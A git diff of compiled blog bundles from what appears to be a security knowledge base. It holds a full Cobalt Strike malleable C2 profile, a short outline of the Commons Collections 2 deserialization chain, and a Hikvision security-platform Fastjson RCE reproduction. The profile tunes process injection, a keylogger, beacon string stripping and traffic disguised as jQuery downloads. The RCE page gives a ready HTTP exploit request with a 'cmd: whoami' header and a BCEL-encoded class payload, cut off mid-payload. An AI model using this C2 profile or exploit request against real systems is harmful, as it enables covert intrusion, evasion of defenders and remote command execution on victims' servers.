io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 00:35:51"})]})})]}),"\n",(0,r.jsx)(t.h1,{id:"hook",children:"Hook"}),"\n",(0,r.jsx)(t.h2,{id:"\u524d\u8a00",children:"\u524d\u8a00"}),"\n",(0,r.jsx)(t.h2,{id:"\u8fc7\u7a0b",children:"\u8fc7\u7a0b"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-profile",children:'# Author: Kleiton Kurti (@kleiton0x7e) & John Stigerwalt (@jstigerwalt1)\n### Auxiliary Settings ###\nset sample_name "Stigs Random C2 Profile";\nset host_stage "false"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.\nset useragent ""; # "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"; Use random Internet Explorer UA by default\nset create_remote_thread "true"; # Allow beacon to create threads in other processes\nset hijack_remote_thread "true"; # Allow beacon to run jobs by hijacking the primary thread of a suspeneded process\n### Beacon Sleep Settings ###\nset sleeptime "3000";\nset jitter "33"; # Default jitter factor (0-99%)\n### SMB Options ###\nset pipename "Winsock2\\\\CatalogChangeListener-###-0";\nset pipename_stager "TSVCPIPE-########-####-4###-####-############";\n### SSH BANNER ##\n\nset ssh_banner "Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-1065-aws x86_64)";\nset ssh_pipename "SearchTextHarvester##";\n\n ### Steal Token ###\nset steal_token_access_mask "11";\n ### Proxy Options ###\nset tasks_max_size "1604500";\n #set tasks_proxy_max_size "921600";\n #set tasks_dns_proxy_max_size "71680";\n ### Main HTTP Config Settings ###\nhttp-config {\n set headers "Date, Server, Content-Length, Keep-Alive, Contentnection, Content\x02Type";\n header "Server" "Apache";\n header "Keep-Alive" "timeout=10, max=100";\n header "Connection" "Keep-Alive";\n set trust_x_forwarded_for "true";\n set block_useragents "curl*,lynx*,wget*";\n}\n### HTTPS Cert Settings ###\nhttps-certificate {\n# Self Signed Certificate Options\n# set CN "*.azureedge.net";\n# set O "Microsoft Corporation";\n# set C "US";\n# set L "Redmond";\n# set ST "WA";\n# set OU "Organizational Unit";\n# set validity "365";\n# Imported Certificate Options\n# set keystore "domain.store";\n# set password "password";\n}\n# code-signer {\n# set keystore "keystore.jks";\n# set password "password";\n# set alias "server";\n# set digest_algorithm "SHA256";\n# set timestamp "false";\n# set timestamp_url "http://timestamp.digicert.com";\n#}\n### Post Exploitation Settings ###\npost-ex {\n set spawnto_x86 "%windir%\\\\syswow64\\\\wbem\\\\wmiprvse.exe -Embedding";\n set spawnto_x64 "%windir%\\\\sysnative\\\\wbem\\\\wmiprvse.exe -Embedding";\n set obfuscate "true";\n set smartinject "true";\n set amsi_disable "false";\n set keylogger "GetAsyncKeyState";\n set thread_hint "ntdll.dll!RtlUserThreadStart+0x1000";\n}\n### Process Injection ###\nprocess-inject {\n set allocator "NtMapViewOfSection"; # or VirtualAllocEx\n set bof_allocator "VirtualAlloc";\n set bof_reuse_memory "true";\n set min_alloc "24576";\n set startrwx "false";\n set userwx "false";\n transform-x86 {\n prepend\n "\\x44\\x40\\x4B\\x43\\x4C\\x48\\x90\\x66\\x90\\x0F\\x1F\\x00\\x66\\x0F\\x1F\\x04\\x00\\x0F\\x1F\\x04\\x00\\x0F\\x1F\\x00\\x0F\\x1F\\x00";\n }\n transform-x64 {\n prepend\n "\\x44\\x40\\x4B\\x43\\x4C\\x48\\x90\\x66\\x90\\x0F\\x1F\\x00\\x66\\x0F\\x1F\\x04\\x00\\x0F\\x1F\\x04\\x00\\x0F\\x1F\\x00\\x0F\\x1F\\x00";\n }\n execute {\n CreateThread "ntdll.dll!RtlUserThreadStart+0x1000";\n NtQueueApcThread-s;\n CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000";\n CreateRemoteThread;\n RtlCreateUserThread;\n SetThreadContext;\n }\n}\nhttp-get {\n set verb "GET"; # GET / POST\n set uri "/css3/index2.shtml"; # Can be space separated string. Each beacon will be assigned one of these when the stage is built\n client {\n header "Accept" "text/html, application/xhtml+xml, image/jxr, */*";\n header "Accept-Encoding" "gzip, deflate";\n header "Accept-Language" "en-US; q=0.7, en; q=0.3";\n header "Connection" "keep-alive";\n header "DNT" "1";\n metadata {\n base64url;\n parameter "accept";\n }\n }\n server {\n header "Content-Type" "application/yin+xml";\n header "Server" "IBM_HTTP_Server/6.0.2.19 Apache/2.0.47 (Unix) DAV/2";\n output{\n base64;\n print;\n }\n }\n}\nhttp-post {\n set verb "POST"; # GET / POST\n set uri "/tools/family.html";\n client {\n header "Accept" "text/html, application/xhtml+xml, */*";\n header "Accept-Encoding" "gzip, deflate";\n header "DNT" "1";\n header "Content-Type" "application/x-www-form-urlencoded";\n id {\n base64;\n prepend "token=";\n header "Cookie";\n }\n output{\n base64url;\n prepend "input=";\n print;\n }\n }\n server {\n header "Content-Type" "text/vnd.fly";\n header "Server" "IBM_HTTP_Server/6.0.2.19 Apache/2.0.47 (Unix) DAV/2";\n output {\n base64;\n print;\n }\n }\n}\n### Start of Real HTTP GET and POST settings ###\nhttp-get "msrpc-azure" { # Don\'t think of this in terms of HTTP POST, as a beacon transaction of pushing data to the server\n set uri "/compare/v1.44/VXK7P0GBE8"; # URI used for GET requests\n set verb "GET";\n client {\n header "Accept" "image/*, application/json, text/html";\n header "Accept-Language" "nb";\n header "Accept-Encoding" "br, compress";\n header "Access-X-Control" "True";\n metadata {\n mask; # Transform type\n base64url; # Transform type\n prepend "SESSIONID_XVQD0C55VSGX3JM="; # Cookie value\n header "Cookie"; # Cookie header\n }\n }\n server {\n header "Server" "Microsoft-IIS/10.0";\n header "X-Powered-By" "ASP.NET";\n header "Cache-Control" "max-age=0, no-cache";\n header "Pragma" "no-cache";\n header "Connection" "keep-alive";\n header "Content-Type" "application/javascript; charset=utf-8";\n output {\n mask; # Transform type\n base64url; # Transform type\n prepend "/*! jQuery v2.2.4 | (c) jQuery Foundation | jquery.org/license */ !function(a,b){\'object\'==typeof module&&\'object\'==typeof module.exp orts?module.exports=a.document?b(a,!0):function(a){if(!a.document)th row new Error(\'jQuery requires a window with a document\');return b(a )}:b(a)}(\'undefined\'!=typeof window?window:this,function(a,b){var c= [],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.t oString,k=i.hasOwnProperty,l={},m=\'2.2.4\',n=function(a,b){return new n.fn.init(a,b)},o=/^[suFEFFxA0]+|[suFEFFxA0]+$/g,p=/^-ms-/,q=/- ([da\x02z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype ={jquery:m,constructor:n,selector:\'\',length:0,toArray:function(){retu rn e.call(this)},get:function(a){return null!=a?0>a?this[a+this.lengt h]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.con structor(),a);return b.prevObject=this,b.context=this.context,b},each:"; append "/*! jQuery v3.4.1 | (c) JS Foundation and other contributors | jquery.org/license */ !function(e,t){\'use strict\';\'object\'==typeof module&&\'object\'==typeof module.exports? module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\'jQuery requires a window with a document\');return t(e)}:t(e)}(\'undefined\'!=typeof window?window :this,function(C,e){\'use strict\';var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice ,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l= a.call(Object),y={},m=function(e){return\'function\'==typeof e&&\'number\'!=typeof e.nodeType} ,x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};fun ction b(e,t,n){var r,i,o=(n=n||E).createElement(\'script\');if(o.text=e,t)for(r in c)(i=t[ r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode;";\n print;\n }\n }\n}\nhttp-post "msrpc-azure" { # Don\'t think of this in terms of HTTP POST, as a beacon transaction of pushing data to the server\n set uri "/Construct/v1.85/JDX894ZM2WF1"; # URI used for POST block.\n set verb "POST"; # HTTP verb used in POST block. Can be GET or POST\n client {\n header "Accept" "application/xml, application/xhtml+xml, application/json";\n header "Accept-Language" "tn";\n header "Accept-Encoding" "identity, *";\n header "Access-X-Control" "True";\n id {\n mask; # Transform type\n netbiosu; # Transform type\n parameter "_KZZUEUVN";\n }\n output {\n mask; # Transform type\n netbios; # Transform type\n print;\n }\n }\n server {\n header "Server" "Microsoft-IIS/10.0";\n header "X-Powered-By" "ASP.NET";\n header "Cache-Control" "max-age=0, no-cache";\n header "Pragma" "no-cache";\n header "Connection" "keep-alive";\n header "Content-Type" "application/javascript; charset=utf-8";\n output {\n mask; # Transform type\n netbiosu; # Transform type\n prepend "/*! jQuery UI - v1.12.1 - 2016-09-14 * http://jqueryui.com * Includes: widget.js, position.js, data.js, disable\x02selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect -fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effe cts/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-s ize.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mix in.js, jquery-1-7.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio. js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable .js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, w idgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, w idgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js * Copyright jQuery Foundation and other contributors; Licensed MIT */";\n append "/*! jQuery UI - v1.12.1 - 2016-09-14 * http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect\x02clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect -fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect\x02puff.js, effe cts/effect-pulsate.js, effects/effect-scale.js, effects/effect\x02shake.js, effects/effect-s ize.js, effects/effect-slide.js, effects/effect\x02transfer.js, focusable.js, form-reset-mix in.js, jquery-1-7.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio. js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable .js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, w idgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, w idgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js * Copyright jQuery Foundation and other contributors; Licensed MIT */";\n print;\n }\n }\n}\nstage {\n set checksum "0";\n set compile_time "5 May 2023 10:52:15";\n set entry_point "170000";\n #set image_size_x86 "6586368";\n #set image_size_x64 "6586368";\n set name "srv.dll";\n set magic_mz_x64 "OOPS";\n set magic_mz_x86 "OOPS";\n set userwx "false";\n set cleanup "true";\n set sleep_mask "true";\n set stomppe "true";\n set obfuscate "true";\n set rich_header "\\x92\\x75\\xde\\x7f\\xf0\\x62\\x4c\\xf0\\xc3\\x44\\x74\\\\x90\\x97\\x05\\xa2\\x3d\\xd2\\x18\\xab\\x08\\xaa\\xe9\\xcf\\x98\\x81";\n set sleep_mask "true";\n set smartinject "true";\n #set allocator "HeapAlloc";\n set magic_pe "EA";\n set module_x86 "wwanmm.dll";\n set module_x64 "wwanmm.dll";\n transform-x86 {\n prepend\n "\\x48\\x0f\\x1f\\x00\\x66\\x90\\x43\\x66\\x87\\xdb\\x66\\x87\\xd2\\x40\\x45\\x49\\x41\\x90\\x87\\xd2\\x47\\x87\\xdb\\x4c\\x0f\\x1f\\x00\\x0f\\x1f\\x00\\x66\\x87\\xc9\\x0f\\x1f\\x04\\x00\\x42\\x66\\x0f\\x1f\\x04\\x00\\x90\\x87\\xc9\\x44\\x46\\x40";\n strrep "This program cannot be run in DOS mode" ""; # Remove this text\n strrep "ReflectiveLoader" "";\n strrep "beacon.dll" "";\n strrep "beacon.dll" ""; # Remove this text\n strrep "msvcrt.dll" "";\n strrep "C:\\\\Windows\\\\System32\\\\msvcrt.dll" "";\n }\n transform-x64 {\n prepend\n "\\x48\\x0f\\x1f\\x00\\x66\\x90\\x43\\x66\\x87\\xdb\\x66\\x87\\xd2\\x40\\x45\\x49\\x41\\x87\\x90\\xd2\\x47\\x87\\xdb\\x4c\\x0f\\x1f\\x00\\x0f\\x1f\\x00\\x66\\x87\\xc9\\x0f\\x1f\\x04\\x00\\x42\\x66\\x0f\\x1f\\x04\\x00\\x90\\x87\\xc9\\x44\\x46\\x40";\n strrep "This program cannot be run in DOS mode" ""; # Remove this text\n strrep "ReflectiveLoader" "";\n strrep "beacon.x64.dll" "";\n strrep "beacon.dll" ""; # Remove this text\n strrep "msvcrt.dll" "";\n strrep "C:\\\\Windows\\\\System32\\\\msvcrt.dll" "";\n strrep "Stack around the variable" "";\n strrep "was corrupted." "";\n strrep "The variable" "";\n strrep "is being used without being initialized." "";\n strrep "The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared" "";\n strrep "A cast to a smaller data type has caused a loss of data. If this was intentional, you should mask the source of the cast with the appropriate bitmask. For example:" "";\n strrep "Changing the code in this way will not affect the quality of the resulting optimized code." "";\n strrep "Stack memory was corrupted" "";\n strrep "A local variable was used before it was initialized" "";\n strrep "Stack memory around _alloca was corrupted" "";\n strrep "Unknown Runtime Check Error" "";\n strrep "Unknown Filename" "";\n strrep "Unknown Module Name" "";\n strrep "Run-Time Check Failure" "";\n strrep "Stack corrupted near unknown variable" "";\n strrep "Stack pointer corruption" "";\n strrep "Cast to smaller type causing loss of data" "";\n strrep "Stack memory corruption" "";\n strrep "Local variable used before initialization" "";\n strrep "Stack around" "corrupted";\n strrep "operator" "";\n strrep "operator co_await" "";\n strrep "operator<=>" "";\n }\n}\n'})})]})}function p(e={}){const{wrapper:t}={...(0,a.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(l,{...e})}):l(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>o,x:()=>i});var s=n(96540);const r={},a=s.createContext(r);function o(e){const t=s.useContext(a);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:o(e.components),s.createElement(a.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/942569cd.4e7a87e7.js b/assets/js/942569cd.4e7a87e7.js new file mode 100644 index 0000000..9c7b030 --- /dev/null +++ b/assets/js/942569cd.4e7a87e7.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6177],{24331:(e,o,n)=>{n.r(o),n.d(o,{assets:()=>c,contentTitle:()=>i,default:()=>m,frontMatter:()=>a,metadata:()=>r,toc:()=>l});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC2","title":"Apache Commons Collections 2","description":"\u5229\u7528\u94fe\u5206\u6790","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/02.CC2.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC2","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/02.CC2.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Apache Commons Collections 1","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC1"},"next":{"title":"Apache Commons Collections 3","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC3"}}');var s=n(74848),t=n(28453);const a={},i="Apache Commons Collections 2",c={},l=[{value:"\u5229\u7528\u94fe\u5206\u6790",id:"\u5229\u7528\u94fe\u5206\u6790",level:2}];function C(e){const o={code:"code",h1:"h1",h2:"h2",header:"header",p:"p",pre:"pre",...(0,t.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(o.header,{children:(0,s.jsx)(o.h1,{id:"apache-commons-collections-2",children:"Apache Commons Collections 2"})}),"\n",(0,s.jsx)(o.h2,{id:"\u5229\u7528\u94fe\u5206\u6790",children:"\u5229\u7528\u94fe\u5206\u6790"}),"\n",(0,s.jsxs)(o.p,{children:["\u8be5\u94fe\u8fd8\u662f\u5229\u7528\u7684CC1 \u4e2d\u7684 ",(0,s.jsx)(o.code,{children:"InvokerTransformer.transform()"})," ,\u4e0d\u540c\u7684\u662f\u540e\u7eed\u5229\u7528\uff0c\u548c\u524d\u9762\u8c03\u7528\u7684\u65b9\u6cd5\u4e0d\u540c\uff0c\u4e0b\u9762\u662fCC2 \u7684\u5229\u7528\u94fe"]}),"\n",(0,s.jsx)(o.pre,{children:(0,s.jsx)(o.code,{children:"PriorityQueue.readObject()\nPriorityQueue.heapify()\nPriorityQueue.siftDown()\n PriorityQueue.siftDownUsingComparator()\n TransformingComparator.compare()\n InvokerTransformer.transform()\n method.invoke()\n TemplatesImpl.newTransformer()\n TemplatesImpl.getTransletInstance()\n"})}),"\n",(0,s.jsx)(o.p,{children:"\u4e0eCC3\u4e00\u81f4\uff0c\u4f7f\u7528\u4e86 TemplatesImpl\u7684newTransformer\u65b9\u6cd5\u3002\u52a8\u6001\u52a0\u8f7d\u4ee3\u7801\u3002"})]})}function m(e={}){const{wrapper:o}={...(0,t.R)(),...e.components};return o?(0,s.jsx)(o,{...e,children:(0,s.jsx)(C,{...e})}):C(e)}},28453:(e,o,n)=>{n.d(o,{R:()=>a,x:()=>i});var r=n(96540);const s={},t=r.createContext(s);function a(e){const o=r.useContext(t);return r.useMemo(function(){return"function"==typeof e?e(o):{...o,...e}},[o,e])}function i(e){let o;return o=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:a(e.components),r.createElement(t.Provider,{value:o},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/9639775d.ed007d78.js b/assets/js/9639775d.ed007d78.js new file mode 100644 index 0000000..1de8286 --- /dev/null +++ b/assets/js/9639775d.ed007d78.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4939],{28453:($,e,a)=>{a.d(e,{R:()=>d,x:()=>r});var c=a(96540);const t={},n=c.createContext(t);function d($){const e=c.useContext(n);return c.useMemo(function(){return"function"==typeof $?$(e):{...e,...$}},[e,$])}function r($){let e;return e=$.disableParentContext?"function"==typeof $.components?$.components(t):$.components||t:d($.components),c.createElement(n.Provider,{value:e},$.children)}},80142:($,e,a)=>{a.r(e),a.d(e,{assets:()=>s,contentTitle:()=>r,default:()=>l,frontMatter:()=>d,metadata:()=>c,toc:()=>b});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0","title":"\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u6d77\u5eb7\u5a01\u89c6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)"},"next":{"title":"\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE"}}');var t=a(74848),n=a(28453);const d={},r=void 0,s={},b=[];function o($){const e={code:"code",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,n.R)(),...$.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-06-14 01:58:00"})]})})]}),"\n",(0,t.jsx)(e.p,{children:"\u6d77\u5eb7\u5a01\u89c6\u90e8\u5206\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u7ba1\u7406\u5e73\u53f0\u5b58\u5728Fastjson\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u901a\u8fc7\u6784\u9020\u6076\u610fPayload\u6267\u884c\u5e76\u83b7\u53d6\u670d\u52a1\u5668\u7cfb\u7edf\u6743\u9650\u4ee5\u53ca\u654f\u611f\u6570\u636e\u4fe1\u606f\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-tex",children:'title="\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0"\n'})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-http",children:'POST /bic/ssoService/v1/keepAlive HTTP/1.1\nHost: \nContent-Type: application/json\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Firefox/126.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate, br\ncmd: whoami\nConnection: close\nContent-Length: 3330\n\n{"CTGT":{ "a": {"@type": "java.lang.Class","val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"},"b": {"@type": "java.lang.Class","val": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"c": {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9G